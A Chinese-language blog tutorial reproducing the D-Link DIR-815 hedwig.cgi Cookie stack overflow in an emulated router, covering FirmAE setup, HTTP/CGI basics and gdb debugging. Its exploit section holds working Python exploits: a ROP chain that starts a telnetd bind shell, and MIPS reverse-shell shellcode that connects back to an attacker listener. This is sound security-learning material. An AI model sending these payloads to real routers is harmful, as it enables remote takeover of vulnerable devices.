从D-Link_DIR815路由器经典漏洞开启IOT之旅

概述

个人感觉麻烦的点在于环境的搭建(又回到最初一瓶农夫山泉搁那配一天环境的日子,一个点没注意就出问题,甚至桌上的农夫山泉都换成了怡宝),本文着重记录下自己踩得坑,对于漏洞的详细分析可以看看参考文章.然后关于IOT通信还涉及到http协议和cgi,我也以我的理解简单介绍下

还介绍了纯rop链和shellcode两种漏洞利用方法,提到shellcode来getshell时出现的一些问题

环境配置

我所使用的是firmAE来进行的固件模拟

推荐使用ubuntu20.04虚拟机进行环境搭建(因为firmAE项目测试是使用的该版本,我自己也是使用的该版本来搭建的环境)

使用wsl搭建环境要访问模拟出来的网页可能会较为麻烦

工具介绍:

binwalk:用于提取固件

1
binwalk -Me target_file.bin

这个工具依赖于sasquatch工具

你可能会遇到

1
2
3
4
5
6
7
8
9
10
11
Hunk #1 succeeded at 32 with fuzz 1.
cc -g -O2 -I. -I./LZMA/lzma465/C -I./LZMA/lzmalt -I./LZMA/lzmadaptive/C/7zip/Compress/LZMA_Lib -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -D_GNU_SOURCE -DCOMP_DEFAULT=\"gzip\" -Wall -Werror -DGZIP_SUPPORT -DLZMA_SUPPORT -DXZ_SUPPORT -DLZO_SUPPORT -DXATTR_SUPPORT -DXATTR_DEFAULT -c -o unsquashfs.o unsquashfs.c
unsquashfs.c: In function ‘read_super’:
unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]
1835 | if(swap)
| ^~
unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),
| ^~~~~~~~~~~~~
cc1: all warnings being treated as errors
make: *** [<builtin>: unsquashfs.o] Error 1

这个报错原因是在unsquashfs.c文件在编译时其内容中的一些行出现空格和制表符混用

解决方法

如果更改后运行build.sh是有关LZMA的爆红,修改./squashfs4.3/squashfs-tools/目录中MakefileXZ_SUPPORT = 1

如果仍然关于LZMA爆红,先通过xz --version检查其是否存在

0

也可能是共享文件夹权限问题,试试cp到虚拟机的目录中

(其实很多问题都可以在issue中找到答案,一定要记得翻issue啊)

firmAE

其底层是基于qemu

其项目的README.md介绍的很详细,就不再赘述了

http协议和cgi协议

http

HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部分,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。

一个完整的http请求包含请求行,消息报头,请求正文

http请求的第一行是请求行,由请求方法、请求的资源路径(Request-URI)和HTTP协议的版本组成

1
Method Request-URI HTTP-Version CRLF

例如:

1
POST /registez.aspx HTTP/1.1 (CRLE) 

紧跟着的是消息报头

其包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于传递关于请求的额外信息

例如:

1
2
3
4
5
6
7
8
GET /index.html HTTP/1.1 (CRLF) 
Accept:image/gif, image/x-xbitmap,*/* (CRLF)
Accept-Language:zh-cn (CRLF)
Accept-Encoding:gzip, deflate (CRLF)
User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF)
Host:www.baidu.com (CRLF)
Connection:Keep-Alive (CRLF)
(CRLF)

最后是请求正文

它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,例如表单数据、JSON、XML等等。

例如:

1
Usernarme=admin&password=admin

我们在具体使用的时候,会使用python的相关库request或者http.client进行编程。

cgi

CGI (Common Gateway Interface) 是 Web服务器与外部程序之间的标准化通信协议

CGI协议规定Web服务器通过环境变量传递HTTP请求的元数据(请求头、方法、路径等),并通过标准输入(stdin)传递HTTP请求正文数据。外部程序则通过标准输出(stdout)返回HTTP响应。

任何语言都可以用来写一个cgi脚本,一个典型的cgi脚本做了这些事

  1. 读取用户提交表单的信息。
  2. 处理这些信息(也就是实现业务)。
  3. 输出,返回html响应(返回处理完的数据)。

路由器是通过cgi脚本程序来处理web请求,这次介绍的漏洞也就出在cgi脚本程序处理输入的部分

漏洞简析

这里借用参考文章1中的固件下载链接

漏洞位于hedwigcgi_main函数里

1

这里没有对string的长度进行检查

sess_get_uid函数

2

这里从消息报头中的Cookie读取数据,然后还存在对uid的比较,可以得出COOKIE的数据组织形式是uid=payload

漏洞利用

3

4

先启动固件模拟然后启动gdb-server

这里我把aslr关了,因为真机也没开

然后就可以通过浏览器访问了

6

将下列指令写入一个文件中

1
2
3
4
5
6
7
set architecture mips
set follow-fork-mode child
set detach-on-fork off
b *0x409480
# catch exec
#这里去掉注释就能在对应的cgi文件停下
target remote 192.168.0.1:1337

然后通过

1
gdb-multiarch -x your_file

启动调试

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import http.client

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal',
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)

# 获取响应
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()

这里一大串字母是通过cyclic生成的,可以通过cyclic -l 0xdeadbeef(实际返回地址)来获得返回地址的偏移

5

这里我测出来的偏移是1043

EXP

纯ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import http.client
from evilblade import *

set("./cgibin")

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"

#libc基地址
libc = 0x77f34000
#gadget
#0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
#0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))

sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"

payload = cyclic(973+34).decode()
payload += sys_ #s0
payload += "cccc" #s1
payload += gad_sp*7 #s2-8
payload += gad_to_s5 #ra
payload += "dddd"*4 #padding
payload += "telnetd -l /bin/sh -p 55557 & ls & " #通过gadget控制的a0
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()

这里sys应该是以\x00结尾的,直接使用会被sprintf函数给截断,为什么再exp里是以\xff结尾的呢?这是sys地址减一得到的,还记得上面说的流水线操作吗,在当jalr指令执行时,下一条指令可能已经开始执行了

这里就利用了这个技巧jalr $t9 ; addiu $s0, $s0, 1在执行jalr时,后面的$s0自增指令也会执行

执行exp打通后退出gdb然后通过telnet连上就行了

7

在路由器固件上的shell也是精简版的shell,叫做busybox

shellcode

MIPS汇编有个特性,就是无法开启nx保护,这使得我们直接往栈上写shellcode来执行有了可行性

在线汇编转字节码

嵌入式设备后门与shellcode生成工具:github项目地址

编写shellcode需要以下四步

  1. socket(2,2,0)这里需要绕过\x00,所以汇编是这样

    1
    2
    3
    4
    5
    6
    7
    8
    li  $a0, 0x222
    addi $a0,-0x220
    li $a1, 0x222
    addi $a1,-0x220
    li $a2, 0x222
    addi $a2,-0x222
    li $v0, 0x1057
    syscall 0x40404
  2. 将标准输入输出错误流重定向到sock对象

    1
    2
    3
    dup2(socket_obj,0)
    dup2(socket_obj,1)
    dup2(socket_obj,2)
  3. int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen);绑定攻击机器的地址

  4. execve("/bin/sh",["/bin/sh","-i"],0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import http.client
from evilblade import *

set("./cgibin")

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"

#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))

sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"

stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
#socket(2,2,0)
stg3_SC += "\xe0\x01\xa2\xaf"
#sw $v0,260($sp)
stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
#dup2
stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
#connect
stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01"
#execve
# stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c"
#exit
print(stg3_SC.encode(),len(stg3_SC))
payload = cyclic(973+34).decode() + gad_to_s5 + "cccc"  + gad_sp*8  + "dddd"*4 +  stg3_SC
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
   'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
   'Host': '192.168.0.1',
   'Cookie': 'uid='+payload,
   'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
pause()
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()

8

这里可以看到拿到shell后立刻就被退出了

退出gdb后按照参考文章1中的nc方法也连不上去

推测原因可能和用户态的调试模式有关,但我内核模式一直模拟不成功,无法验证这种说法.就此作罢,之后再慢慢摸索吧


解决方法:

  1. 先用nc监听你要反弹shell的端口(这里是5566)

    9

  2. 然后运行到execve处10

    这时gdb会停住,再看之前监听的端口已经连上了

    11

  3. 然后随便发一句让指令再回来退出gdb,把python脚本的暂停取消就行了

    12

这里确实没想到要提前监听端口,起初还以为是ip或者是端口出错了没连上

总结

IOT之路刚开始就充满荆棘啊,不过好在还是算入门了,后续准备学习一下mipsrop工具的使用,http协议的消息报头啥的也不太会写,直接用qemu来模拟固件环境感觉还是得学一下.

一堆新知识涌入脑海,后面再通过复现漏洞的方式慢慢消化吧

参考文章

踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现(通过firmAE搭建环境)

D-link DIR-815路由器多次溢出漏洞分析(通过更底层的qemu搭建环境)

从零开始复现 DIR-815 栈溢出漏洞

十分钟搞懂什么是cgi